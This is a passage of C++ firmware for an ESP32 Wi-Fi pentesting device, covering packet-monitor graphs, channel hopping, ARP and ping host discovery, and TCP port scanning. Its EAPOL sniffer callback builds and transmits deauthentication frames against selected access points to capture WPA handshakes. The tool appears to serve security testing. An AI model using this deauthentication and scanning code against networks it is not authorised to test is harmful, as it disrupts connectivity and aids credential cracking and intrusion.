10); display_string.concat(addr); int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); #ifdef SCREEN_BUFFER #ifndef HAS_ILI9341 display_obj.display_buffer->add(display_string); #endif #endif #else Serial.println(addr); #endif } buffer_obj.append(snifferPacket, len); } void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; bool send_deauth = settings_obj.loadSetting(text_table4[5]); wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; } // Found beacon frame. Decide whether to deauth if (snifferPacket->payload[0] == 0x80) { // Do target stuff if (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) { bool found = false; // Check list of APs for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { uint8_t addr[] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}; // Compare AP bssid to ssid of recvd packet for (int x = 0; x < 6; x++) { if (addr[x] != access_points->get(i).bssid[x]) { found = false; break; } else found = true; } if (found) { Serial.println("Received beacon from " + access_points->get(i).essid + ". Deauthenticating..."); break; } } } if (!found) return; } // End targeted stuff // Build packet wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10]; wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11]; wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12]; wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13]; wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14]; wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15]; wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10]; wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11]; wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12]; wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13]; wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14]; wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false); delay(1); } if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){ num_eapol++; Serial.println("Received EAPOL:"); } buffer_obj.append(snifferPacket, len); } bool WiFiScan::filterActive() { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) return true; } return false; } #ifdef HAS_SCREEN int8_t WiFiScan::checkAnalyzerButtons(uint32_t currentTime) { boolean pressed = false; uint16_t t_x = 0, t_y = 0; // To store the touch coordinates // Do the touch stuff #ifdef HAS_ILI9341 pressed = display_obj.updateTouch(&t_x, &t_y); //pressed = display_obj.tft.getTouch(&t_x, &t_y); #endif // Check buttons for presses for (int8_t b = 0; b < BUTTON_ARRAY_LEN; b++) { if (pressed && display_obj.key[b].contains(t_x, t_y)) { display_obj.key[b].press(true); } else { display_obj.key[b].press(false); } } // Which buttons pressed for (int8_t b = 0; b < BUTTON_ARRAY_LEN; b++) { if (display_obj.key[b].justReleased()) return b; } return -1; } #endif #ifdef HAS_SCREEN void WiFiScan::eapolMonitorMain(uint32_t currentTime) { for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos) { currentTime = millis(); do_break = false; y_pos_x = 0; y_pos_y = 0; y_pos_z = 0; int8_t b = this->checkAnalyzerButtons(currentTime); // Channel - button pressed if (b == 4) { if (set_channel > 1) { Serial.println("Shit channel down"); set_channel--; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); changeChannel(); //break; } } // Channel + button pressed else if (b == 5) { if (set_channel < MAX_CHANNEL) { Serial.println("Shit channel up"); set_channel++; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); changeChannel(); //break; } } else if (b == 6) { Serial.println("Exiting packet monitor..."); this->StartScan(WIFI_SCAN_OFF); //display_obj.init(); this->orient_display = true; return; } // } //} if (currentTime - initTime >= (GRAPH_REFRESH * 5)) { x_pos += x_scale; initTime = millis(); y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN if (y_pos_x >= HEIGHT_1) { Serial.println("Max EAPOL number reached. Adjusting..."); num_eapol = 0; } // Also change channel while we're at it this->channelHop(true); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!! //Plot "X" value display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN); //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!! if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons! else display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons! if (x_pos < 0) // below x axis display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN); else display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK); if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) ) { display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis } y_pos_x_old = y_pos_x; //set old y pos values to current y pos values } #ifdef HAS_SD sd_obj.main(); #endif } display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); display_obj.tftDrawEapolColorKey(this->filterActive()); display_obj.tftDrawGraphObjects(x_scale); } void WiFiScan::packetMonitorMain(uint32_t currentTime) { for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos) { currentTime = millis(); do_break = false; y_pos_x = 0; y_pos_y = 0; y_pos_z = 0; /*boolean pressed = false; uint16_t t_x = 0, t_y = 0; // To store the touch coordinates // Do the touch stuff #ifdef HAS_ILI9341 pressed = display_obj.tft.getTouch(&t_x, &t_y); #endif if (pressed) { Serial.print("Got touch | X: "); Serial.print(t_x); Serial.print(" Y: "); Serial.println(t_y); } // Check buttons for presses for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) { if (pressed && display_obj.key[b].contains(t_x, t_y)) { display_obj.key[b].press(true); } else { display_obj.key[b].press(false); } }*/ // Which buttons pressed //for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) //{ // if (display_obj.key[b].justReleased()) // { // do_break = true; int8_t b = this->checkAnalyzerButtons(currentTime); // X - button pressed if (b == 0) { if (x_scale > 1) { x_scale--; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); //break; } } // X + button pressed else if (b == 1) { if (x_scale < 6) { x_scale++; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); //break; } } // Y - button pressed else if (b == 2) { if (y_scale > 1) { y_scale--; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); //updateMidway(); //break; } } // Y + button pressed else if (b == 3) { if (y_scale < 9) { y_scale++; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); //updateMidway(); //break; } } // Channel - button pressed else if (b == 4) { if (set_channel > 1) { Serial.println("Shit channel down"); set_channel--; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); changeChannel(); //break; } } // Channel + button pressed else if (b == 5) { if (set_channel < MAX_CHANNEL) { Serial.println("Shit channel up"); set_channel++; delay(70); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); changeChannel(); //break; } } else if (b == 6) { Serial.println("Exiting packet monitor..."); this->StartScan(WIFI_SCAN_OFF); this->orient_display = true; return; } // } //} if (currentTime - initTime >= GRAPH_REFRESH) { x_pos += x_scale; initTime = millis(); y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE num_beacon = 0; num_probe = 0; num_deauth = 0; //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!! //Plot "X" value display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN); //Plot "Z" value display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE); //Plot "Y" value display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED); //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!! if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons! else display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons! if (x_pos < 0) // below x axis display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN); else display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK); if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) ) display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis y_pos_x_old = y_pos_x; //set old y pos values to current y pos values y_pos_y_old = y_pos_y; y_pos_z_old = y_pos_z; //delay(50); } #ifdef HAS_SD sd_obj.main(); #endif } display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key display_obj.tftDrawXScaleButtons(x_scale); //re-draw stuff display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); display_obj.tftDrawColorKey(); display_obj.tftDrawGraphObjects(x_scale); } #endif void WiFiScan::changeChannel(int chan) { this->set_channel = chan; esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); delay(1); #ifdef HAS_SCREEN if (this->currentScanMode == WIFI_SCAN_CHAN_ANALYZER) this->addAnalyzerValue(this->set_channel * -1, -72, this->_analyzer_values, TFT_WIDTH); #endif } void WiFiScan::changeChannel() { esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); delay(1); } // Function to cycle to the next channel void WiFiScan::channelHop(bool filtered) { bool channel_match = false; bool ap_selected = true; if (!filtered) { #ifndef HAS_DUAL_BAND this->set_channel = this->set_channel + 1; if (this->set_channel > 14) { this->set_channel = 1; } #else if (this->dual_band_channel_index >= DUAL_BAND_CHANNELS) this->dual_band_channel_index = 0; else this->dual_band_channel_index++; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; #endif } else { #ifndef HAS_DUAL_BAND while ((!channel_match) && (ap_selected)) { ap_selected = false; // Pick channel like normal this->set_channel = this->set_channel + 1; if (this->set_channel > 14) { this->set_channel = 1; } // Check if it matches a selected AP's channel for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { ap_selected = true; if (access_points->get(i).channel == this->set_channel) { channel_match = true; break; } } } } #else while ((!channel_match) && (ap_selected)) { ap_selected = false; // Pick channel like normal if (this->dual_band_channel_index >= DUAL_BAND_CHANNELS) this->dual_band_channel_index = 0; else this->dual_band_channel_index++; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; // Check if it matches a selected AP's channel for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { ap_selected = true; if (access_points->get(i).channel == this->set_channel) { Serial.println("Setting to channel " + (String)this->set_channel + " for AP " + access_points->get(i).essid); channel_match = true; break; } } } } #endif } esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); delay(1); } char* WiFiScan::stringToChar(String string) { char buf[string.length() + 1] = {}; string.toCharArray(buf, string.length() + 1); return buf; } void WiFiScan::addAnalyzerValue(int16_t value, int rssi_avg, int16_t target_array[], int array_size) { // Shift all elements up by one index for (int i = array_size - 1; i > 0; i--) { target_array[i] = target_array[i - 1]; } // Add the new value to the start of the array target_array[0] = value; } void WiFiScan::signalAnalyzerLoop(uint32_t tick) { #ifdef HAS_SCREEN #ifdef HAS_ILI9341 int8_t b = this->checkAnalyzerButtons(millis()); if (b == 6) { this->StartScan(WIFI_SCAN_OFF); this->orient_display = true; return; } else if (b == 4) { #ifndef HAS_DUAL_BAND if (set_channel > 1) { set_channel--; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } #else if (this->dual_band_channel_index > 1) { this->dual_band_channel_index--; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; display_obj.tftDrawChannelScaleButtons(this->set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } #endif } // Channel + button pressed else if (b == 5) { #ifndef HAS_DUAL_BAND if (set_channel < MAX_CHANNEL) { set_channel++; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } #else if (this->dual_band_channel_index < DUAL_BAND_CHANNELS - 1) { this->dual_band_channel_index++; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; display_obj.tftDrawChannelScaleButtons(this->set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } #endif } #endif #endif } void WiFiScan::channelAnalyzerLoop(uint32_t tick) { #ifdef HAS_SCREEN if (tick - this->initTime >= BANNER_TIME) { this->initTime = millis(); this->addAnalyzerValue(this->_analyzer_value * BASE_MULTIPLIER, -72, this->_analyzer_values, TFT_WIDTH); this->_analyzer_value = 0; if (this->analyzer_name_update) { this->displayAnalyzerString(this->analyzer_name_string); this->analyzer_name_update = false; } } #ifdef HAS_ILI9341 int8_t b = this->checkAnalyzerButtons(millis()); if (b == 6) { this->StartScan(WIFI_SCAN_OFF); this->orient_display = true; return; } else if (b == 4) { #ifndef HAS_DUAL_BAND if (set_channel > 1) { set_channel--; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(set_channel); return; } #else if (this->dual_band_channel_index > 1) { this->dual_band_channel_index--; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; display_obj.tftDrawChannelScaleButtons(this->set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(this->set_channel); return; } #endif } // Channel + button pressed else if (b == 5) { #ifndef HAS_DUAL_BAND if (set_channel < MAX_CHANNEL) { set_channel++; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(set_channel); return; } #else if (this->dual_band_channel_index < DUAL_BAND_CHANNELS - 1) { this->dual_band_channel_index++; this->set_channel = this->dual_band_channels[this->dual_band_channel_index]; display_obj.tftDrawChannelScaleButtons(this->set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(this->set_channel); return; } #endif } #endif #endif } void WiFiScan::displayAnalyzerString(String str) { #ifdef HAS_SCREEN display_obj.tft.fillRect(0, TFT_HEIGHT - GRAPH_VERT_LIM - (CHAR_WIDTH * 4), TFT_WIDTH, CHAR_WIDTH + 2, TFT_BLACK); //display_obj.tft.drawCentreString("Frames/" + (String)BANNER_TIME + "ms", TFT_WIDTH / 2, TFT_HEIGHT - GRAPH_VERT_LIM - (CHAR_WIDTH * 2), 1); display_obj.tft.setCursor(0, TFT_HEIGHT - GRAPH_VERT_LIM - (CHAR_WIDTH * 4)); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK); display_obj.tft.println(str); #endif } void WiFiScan::renderRawStats() { #ifdef HAS_SCREEN uint8_t line_count = 0; display_obj.tft.fillRect(0, (STATUS_BAR_WIDTH * 2) + 1 + EXT_BUTTON_WIDTH, TFT_WIDTH, TFT_HEIGHT - STATUS_BAR_WIDTH + 1, TFT_BLACK); display_obj.tft.setCursor(0, (STATUS_BAR_WIDTH * 2) + CHAR_WIDTH + EXT_BUTTON_WIDTH); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK); display_obj.tft.println("Stats\n"); display_obj.tft.println(" Mgmt: " + (String)this->mgmt_frames); display_obj.tft.println(" Data: " + (String)this->data_frames); display_obj.tft.println(" Channel: " + (String)this->set_channel); display_obj.tft.println(" Beacon: " + (String)this->beacon_frames); display_obj.tft.println("Probe Req: " + (String)this->req_frames); display_obj.tft.println("Probe Res: " + (String)this->resp_frames); display_obj.tft.println(" Deauth: " + (String)this->deauth_frames); display_obj.tft.println(" EAPOL: " + (String)this->eapol_frames); display_obj.tft.println(" RSSI: " + (String)this->min_rssi + " - " + (String)this->max_rssi); #endif Serial.println(" Mgmt: " + (String)this->mgmt_frames); Serial.println(" Data: " + (String)this->data_frames); Serial.println(" Channel: " + (String)this->set_channel); Serial.println(" Beacon: " + (String)this->beacon_frames); Serial.println("Probe Req: " + (String)this->req_frames); Serial.println("Probe Res: " + (String)this->resp_frames); Serial.println(" Deauth: " + (String)this->deauth_frames); Serial.println(" EAPOL: " + (String)this->eapol_frames); Serial.println(" RSSI: " + (String)this->min_rssi + " - " + (String)this->max_rssi); } void WiFiScan::renderPacketRate() { uint8_t line_count = 0; #ifdef HAS_SCREEN display_obj.tft.fillRect(0, (STATUS_BAR_WIDTH * 2) + 1 + EXT_BUTTON_WIDTH, TFT_WIDTH, TFT_HEIGHT - STATUS_BAR_WIDTH + 1, TFT_BLACK); display_obj.tft.setCursor(0, (STATUS_BAR_WIDTH * 2) + CHAR_WIDTH + EXT_BUTTON_WIDTH); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK); #endif for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { #ifdef HAS_SCREEN display_obj.tft.println(access_points->get(i).essid + ": " + (String)access_points->get(i).packets); #endif Serial.println(access_points->get(i).essid + ": " + (String)access_points->get(i).packets); } } for (int i = 0; i < stations->size(); i++) { if (stations->get(i).selected) { #ifdef HAS_SCREEN display_obj.tft.println(macToString(stations->get(i).mac) + ": " + (String)stations->get(i).packets); #endif Serial.println(macToString(stations->get(i).mac) + ": " + (String)stations->get(i).packets); } } } void WiFiScan::packetRateLoop(uint32_t tick) { if (tick - this->initTime >= BANNER_TIME * 10) { this->initTime = millis(); if (this->currentScanMode == WIFI_SCAN_PACKET_RATE) this->renderPacketRate(); else if (this->currentScanMode == WIFI_SCAN_RAW_CAPTURE) this->renderRawStats(); } #ifdef HAS_ILI9341 int8_t b = this->checkAnalyzerButtons(millis()); if (b == 6) { this->StartScan(WIFI_SCAN_OFF); this->orient_display = true; return; } else if (b == 4) { if (set_channel > 1) { set_channel--; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } } // Channel + button pressed else if (b == 5) { if (set_channel < MAX_CHANNEL) { set_channel++; display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); changeChannel(); return; } } #endif } bool WiFiScan::checkHostPort(IPAddress ip, uint16_t port, uint16_t timeout) { WiFiClient client; client.setTimeout(timeout); if (client.connect(ip, port)) { client.stop(); return true; } client.stop(); return false; } bool WiFiScan::readARP(IPAddress targ_ip) { // Convert IPAddress to ip4_addr_t using IP4_ADDR ip4_addr_t test_ip; IP4_ADDR(&test_ip, targ_ip[0], targ_ip[1], targ_ip[2], targ_ip[3]); // Get the netif interface for STA mode //void* netif = NULL; //tcpip_adapter_get_netif(TCPIP_ADAPTER_IF_STA, &netif); //struct netif* netif_interface = (struct netif*)netif; const ip4_addr_t* ipaddr_ret = NULL; struct eth_addr* eth_ret = NULL; // Use actual interface instead of NULL if (etharp_find_addr(NULL, &test_ip, ð_ret, &ipaddr_ret) >= 0) { return true; } return false; } bool WiFiScan::singleARP(IPAddress ip_addr) { #ifndef HAS_DUAL_BAND void* netif = NULL; tcpip_adapter_get_netif(TCPIP_ADAPTER_IF_STA, &netif); struct netif* netif_interface = (struct netif*)netif; #else struct netif* netif_interface = (struct netif*)esp_netif_get_netif_impl(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF")); //esp_netif_t* netif_interface = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); //struct netif* netif_interface = (struct netif*)netif; //struct netif* netif_interface = esp_netif_get_netif_impl(*netif); #endif ip4_addr_t lwip_ip; IP4_ADDR(&lwip_ip, ip_addr[0], ip_addr[1], ip_addr[2], ip_addr[3]); etharp_request(netif_interface, &lwip_ip); delay(250); if (this->readARP(ip_addr)) return true; return false; } void WiFiScan::fullARP() { String display_string = ""; String output_line = ""; #ifndef HAS_DUAL_BAND void* netif = NULL; tcpip_adapter_get_netif(TCPIP_ADAPTER_IF_STA, &netif); struct netif* netif_interface = (struct netif*)netif; #else struct netif* netif_interface = (struct netif*)esp_netif_get_netif_impl(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF")); //esp_netif_t* netif_interface = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); //struct netif* netif_interface = (struct netif*)netif; //struct netif* netif_interface = esp_netif_get_netif_impl(*netif); #endif //this->arp_count = 0; if (this->current_scan_ip != IPAddress(0, 0, 0, 0)) { ip4_addr_t lwip_ip; IP4_ADDR(&lwip_ip, this->current_scan_ip[0], this->current_scan_ip[1], this->current_scan_ip[2], this->current_scan_ip[3]); etharp_request(netif_interface, &lwip_ip); delay(100); this->current_scan_ip = getNextIP(this->current_scan_ip, this->subnet); this->arp_count++; if (this->arp_count >= 10) { delay(250); this->arp_count = 0; for (int i = 10; i > 0; i--) { IPAddress check_ip = getPrevIP(this->current_scan_ip, this->subnet, i); display_string = ""; output_line = ""; if (this->readARP(check_ip)) { ipList->add(check_ip); output_line = check_ip.toString(); display_string.concat(output_line); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif buffer_obj.append(output_line + "\n"); Serial.println(output_line); } } } } if (this->current_scan_ip == IPAddress(0, 0, 0, 0)) { for (int i = this->arp_count; i > 0; i--) { delay(250); IPAddress check_ip = getPrevIP(this->current_scan_ip, this->subnet, i); display_string = ""; output_line = ""; if (this->readARP(check_ip)) { ipList->add(check_ip); output_line = check_ip.toString(); display_string.concat(output_line); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif buffer_obj.append(output_line + "\n"); Serial.println(output_line); } } this->arp_count = 0; if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } } void WiFiScan::pingScan(uint8_t scan_mode) { String display_string = ""; String output_line = ""; if (scan_mode == WIFI_PING_SCAN) { if (this->current_scan_ip != IPAddress(0, 0, 0, 0)) { this->current_scan_ip = getNextIP(this->current_scan_ip, this->subnet); // Check if IP is alive if (this->isHostAlive(this->current_scan_ip)) { output_line = this->current_scan_ip.toString(); display_string.concat(output_line); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } ipList->add(this->current_scan_ip); #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif buffer_obj.append(output_line + "\n"); Serial.println(output_line); } } else { if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } } else { int targ_port = 0; if (scan_mode == WIFI_SCAN_SSH) targ_port = 22; else if (scan_mode == WIFI_SCAN_TELNET) targ_port = 23; else if (scan_mode == WIFI_SCAN_SMTP) targ_port = 25; else if (scan_mode == WIFI_SCAN_DNS) targ_port = 53; else if (scan_mode == WIFI_SCAN_HTTP) targ_port = 80; else if (scan_mode == WIFI_SCAN_HTTPS) targ_port = 443; else if (scan_mode == WIFI_SCAN_RDP) targ_port = 3389; if (this->current_scan_ip != IPAddress(0, 0, 0, 0)) { this->current_scan_ip = getNextIP(this->current_scan_ip, this->subnet); #ifndef HAS_DUAL_BAND if (this->singleARP(this->current_scan_ip)) { #else if (this->isHostAlive(this->current_scan_ip)) { #endif Serial.println(this->current_scan_ip); this->portScan(scan_mode, targ_port); } } else { if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } } /*else if (scan_mode == WIFI_SCAN_SSH) { if (this->current_scan_ip != IPAddress(0, 0, 0, 0)) { this->current_scan_ip = getNextIP(this->current_scan_ip, this->subnet); #ifndef HAS_DUAL_BAND if (this->singleARP(this->current_scan_ip)) { #else if (this->isHostAlive(this->current_scan_ip)) { #endif Serial.println(this->current_scan_ip); this->portScan(scan_mode, 22); } } else { if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } } else if (scan_mode == WIFI_SCAN_TELNET) { if (this->current_scan_ip != IPAddress(0, 0, 0, 0)) { this->current_scan_ip = getNextIP(this->current_scan_ip, this->subnet); #ifndef HAS_DUAL_BAND if (this->singleARP(this->current_scan_ip)) { #else if (this->isHostAlive(this->current_scan_ip)) { #endif Serial.println(this->current_scan_ip); this->portScan(scan_mode, 23); } } else { if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } }*/ } void WiFiScan::portScan(uint8_t scan_mode, uint16_t targ_port) { String display_string = ""; if (scan_mode == WIFI_PORT_SCAN_ALL) { if (this->current_scan_port < MAX_PORT) { this->current_scan_port = getNextPort(this->current_scan_port); if (this->current_scan_port % 1000 == 0) { Serial.print("Checking IP: "); Serial.print(this->current_scan_ip); Serial.print(" Port: "); Serial.println(this->current_scan_port); } if (this->checkHostPort(this->current_scan_ip, this->current_scan_port, 100)) { String output_line = this->current_scan_ip.toString() + ": " + (String)this->current_scan_port; display_string.concat(output_line); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif Serial.println(output_line); buffer_obj.append(output_line + "\n"); } } else { if (!this->scan_complete) { this->scan_complete = true; #ifdef HAS_SCREEN display_obj.display_buffer->add("Scan complete"); #endif } } } else { if (this->checkHostPort(this->current_scan_ip, targ_port, 100)) { String output_line = this->current_scan_ip.toString() + ": " + (String)targ_port; display_string.concat(output_line); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif Serial.println(output_line); buffer_obj.append(output_line + "\n"); } } } // Function for updating scan status void WiFiScan::main(uint32_t currentTime) { // WiFi operations if ((currentScanMode == WIFI_SCAN_PROBE) || (currentScanMode == WIFI_SCAN_AP) || (currentScanMode == WIFI_SCAN_STATION) || (currentScanMode == WIFI_SCAN_TARGET_AP) || (currentScanMode == WIFI_SCAN_AP_STA) || (currentScanMode == WIFI_SCAN_PWN) || (currentScanMode == WIFI_SCAN_PINESCAN) || (currentScanMode == WIFI_SCAN_MULTISSID) || (currentScanMode == WIFI_SCAN_DEAUTH) || (currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) || (currentScanMode == WIFI_SCAN_ALL)) { if (currentTime - initTime >= this->channel_hop_delay * HOP_DELAY) { initTime 